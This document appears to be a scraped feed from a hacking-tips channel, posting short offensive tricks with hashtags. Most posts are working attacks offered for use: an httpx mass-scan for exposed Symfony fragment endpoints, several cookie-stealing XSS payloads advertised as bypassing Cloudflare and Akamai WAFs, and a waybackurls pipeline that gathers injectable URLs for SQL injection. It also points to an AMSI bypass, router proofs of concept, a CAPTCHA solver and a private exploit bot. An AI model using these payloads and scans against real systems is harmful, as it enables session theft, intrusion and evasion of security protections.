THC's favourite Tips, Tricks & Hacks

Github

#Tips #Trick
——————‌
0Day.Today
@LearnExploit
@Tech_Army

Exploits Symfony

httpx -l hosts.txt -path /_fragment?_path=_controller=phpcredits&flag=-1 -threads 100 -random-agent -x GET -tech-detect -status-code -follow-redirects -title -mc 200 -match-regex "PHP Credits"

Github

#Exploit #RCE
——————‌
0Day.Today
@LearnExploit
@Tech_Army

Stored XSS via cache poisoning ⚡️

"><a nope="%26quot;x%26quot;"onmouseover="Reflect.get(frames,'ale'+'rt')(Reflect.get(document,'coo'+'kie'))">

#XSS #Payload
——————‌
0Day.Today
@LearnExploit
@Tech_Army

CloudFlare XSS protection WAF Bypassed 💎

<Img Src=OnXSS OnError=confirm(document.cookie)>

#WAF #XSS #Bypass #CloudFlare
——————‌
0Day.Today
@LearnExploit
@Tech_Army

Toye binance ham list mishe ❗️

Bypassed strong Akamai WAF

payload: '"><A HRef=\" AutoFocus OnFocus=top/**/?.['ale'%2B'rt'](document%2Bcookie)>

#Waf #Bypass #Payload
——————‌
0Day.Today
@LearnExploit
@Tech_Army

"AMSI WRITE RAID" Vulnerability that leads to an effective AMSI BYPASS

Github

#Bypass
——————‌
0Day.Today
@LearnExploit
@Tech_Army

Darkus is a Onion websites searcher

Github

#deepweb #darkweb 
——————‌
0Day.Today
@LearnExploit
@Tech_Army

Linksys routers POCs

CVE-2024-33788

CVE-2024-33789

#Cve #Poc
——————‌
0Day.Today
@LearnExploit
@Tech_Army

payload to bypass Akamai WAF

?foobar=<foo%20bar=%250a%20onclick=<your js code>

#WAF #Bypass #Payload
——————‌
0Day.Today
@LearnExploit
@Tech_Army

Solve Google reCAPTCHA in less than 5 seconds

Github

#Tools
——————‌
0Day.Today
@LearnExploit
@Tech_Army

Time based SQL Injection using waybackurls

waybackurls TARGET.COM | grep -E '\bhttps?://\S+?=\S+' | grep -E '\.php|\.asp' | sort -u | sed 's/\(=[^&]*\)/=/g' | tee urls.txt | sort -u -o urls.txt

#sql_injection #sql #tip
——————‌
0Day.Today
@LearnExploit
@Tech_Army

Zero Exploiter 🔥 Bot Exploit 💎

Share and subscribe

Made with ❤️

#Priv8 #Exploit
——————‌
0Day.Today
@LearnExploit
@A3L3_KA4

Zero Exploiter 🔥 Bot Exploit 💎

Share and subscribe

Made with ❤️

#Priv8 #Exploit
——————‌
0Day.Today
@LearnExploit
@A3L3_KA4

دوستان همون طور که قبلا گفتم
این اکسپلویتر روی یه متد داره چک میکنه
و اینکه قبل از استفاده لایبراری هاشو نصب کنید
و روش قفلم نذاشتم ❤️

پاول دورف گفته که تا اخر ماه میلادی جاری، قابلیتی اضافه میشه که وقتی روی هشتگی در کانال کلیک میکنید، تلگرام لیست تمام پستهایی که کانالهای پابلیک از اون هشتگ استفاده کردن رو نشون میده، چیزی مشابه هشتگ در اینستاگرام.

#news
——————‌
@Learnexploit